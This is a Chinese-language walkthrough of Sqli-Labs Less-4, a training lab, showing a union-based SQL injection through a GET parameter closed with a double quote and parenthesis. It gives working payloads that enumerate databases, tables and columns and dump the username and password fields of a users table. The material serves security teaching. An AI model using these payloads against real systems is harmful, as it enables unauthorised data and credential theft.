Sqli-Labs闯关—Less4
基于错误的GET双引号字符型注入
(1)判断注入类型
输入?id=1"发现页面报错,看到括号,怀疑sql语句是以括号)闭合的。
输入?id=1")- -+发现页面回显正常,说明sql语句是以("")闭合的。
(2)使用order by判断列数
输入order by 3页面回显正常,输入order by 4页面回显不正常,说明列数为3。
(3)判断显示位
将参数id改成一个不存在的值-1,使第一个select查询结果为空。使用union select 1,2,3 联合查询语句判断显示位。
页面出现2,3,说明显示位有两个,且在2,3的位置上。
(4)获取数据库名称
查询所有数据库名称
http://url/?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+
查询当前数据库名称
http://url/?id=-1") union select 1,database(),3–+
(5)获取表的名称
查询security库中所有表的名称
http://url/?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3–+
(6)获取表的字段名
查询users表的所有字段名
http://url/?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3- -+
(7)获取字段中的数据
查询username和password字段中的数据
http://url/?id=-1") union select 1,
(select group_concat(username) from users),
(select group_concat(password) from users)- -+